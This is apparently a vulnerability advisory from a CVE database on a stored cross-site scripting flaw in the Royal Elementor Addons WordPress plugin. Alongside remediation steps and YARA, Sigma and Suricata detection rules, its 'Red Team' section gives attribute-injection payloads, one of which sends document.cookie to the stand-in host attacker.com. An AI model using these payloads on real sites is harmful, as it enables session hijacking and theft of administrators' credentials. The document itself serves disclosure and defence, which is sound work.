CVE-2024-9682
Executive Summary
CVE-2024-9682 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons and Templates plugin for WordPress. The flaw resides in the plugin's Form Builder widget, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.
This vulnerability affects all versions up to and including 1.7.1001. As of this report, no official patch has been released by the vendor, making it a high-priority issue for WordPress site administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for privilege escalation (e.g., stealing admin cookies) elevate the risk for WordPress sites with multiple user roles.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the Form Builder widget of the Royal Elementor Addons plugin. The widget allows users to create custom forms with various input fields. The flaw occurs when the plugin processes user-supplied attributes (e.g., placeholder, label, or custom CSS classes) without proper sanitization or output escaping.
Attack Flow:
- An attacker with contributor-level access (or higher) creates or edits a page using the Elementor page builder.
- The attacker adds the Form Builder widget and injects a malicious JavaScript payload into an attribute field (e.g.,
placeholderorclass). - The plugin stores the payload in the WordPress database without sanitization.
- When any user (including administrators) visits the page, the payload is rendered in the HTML without escaping, causing the script to execute in the victim's browser.
Root Cause: The plugin uses esc_attr() or similar escaping functions inconsistently, or fails to escape attributes that are later rendered as HTML attributes. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.
Vulnerable vs. Patched Code
Vulnerable Code (Example from Form Builder widget):
// In a template file or widget render method
echo '<input type="text" placeholder="' . $settings['placeholder'] . '" />';
Here, $settings['placeholder'] is not sanitized or escaped, allowing an attacker to inject " onfocus="alert(1)" autofocus=" to execute JavaScript.
Patched Code (Expected fix):
echo '<input type="text" placeholder="' . esc_attr( $settings['placeholder'] ) . '" />';
The esc_attr() function escapes special characters, preventing attribute injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Royal Elementor Addons <= 1.7.1001
- Contributor-level account or higher
Steps:
- Log in as a contributor.
- Create a new page or edit an existing one using Elementor.
- Add the Form Builder widget.
- In the widget settings, locate an attribute field (e.g., "Placeholder" or "Custom CSS Class").
- Inject the following payload:
" onfocus="alert(document.cookie)" autofocus=" - Save and publish the page.
- When an administrator visits the page, the script executes, displaying their cookies.
Advanced Payload (Steal cookies):
" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual attribute values in Elementor widgets, especially those containing
on*event handlers. - Use Web Application Firewall (WAF) rules to block requests with XSS patterns in form fields.
Hardening:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a WordPress security plugin that monitors file changes and scans for malicious code.
Indicators of Compromise (IOCs)
File-based IOCs:
- Presence of malicious JavaScript in the
wp_postmetatable under_elementor_datameta key. - Modified template files in
/wp-content/plugins/royal-elementor-addons/containing unsanitized output.
- Presence of malicious JavaScript in the
Network-based IOCs:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Suspicious
Refererheaders containing XSS payloads.
Behavioral IOCs:
- Unexpected admin user creation or privilege escalation.
- Unusual form submissions containing script tags.
Detection Engineering
YARA Rule
rule CVE_2024_9682_Stored_XSS {
meta:
description = "Detects malicious payloads targeting CVE-2024-9682 in Royal Elementor Addons"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-9682"
strings:
$xss_payload1 = /on\w+\s*=\s*["']?[^"']*["']?/ nocase
$xss_payload2 = /<script[^>]*>.*<\/script>/i
$xss_payload3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-9682 Stored XSS in Royal Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress post meta data
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
meta_key: '_elementor_data'
meta_value|contains:
- 'onfocus='
- 'onload='
- 'onerror='
- '<script>'
condition: selection
falsepositives:
- Legitimate use of event handlers in custom code
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9682 Stored XSS in Royal Elementor Addons"; flow:to_server,established; content:"_elementor_data"; http_client_body; pcre:"/(on\w+\s*=\s*[\x22\x27][^>]*[\x22\x27]|<script[^>]*>)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Restrict contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in form fields.
Long-term Fix:
- Monitor the vendor's website for a patched version (expected to be > 1.7.1001).
- Apply the patch as soon as it is released.
- Consider replacing the plugin with an alternative that has a better security track record.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.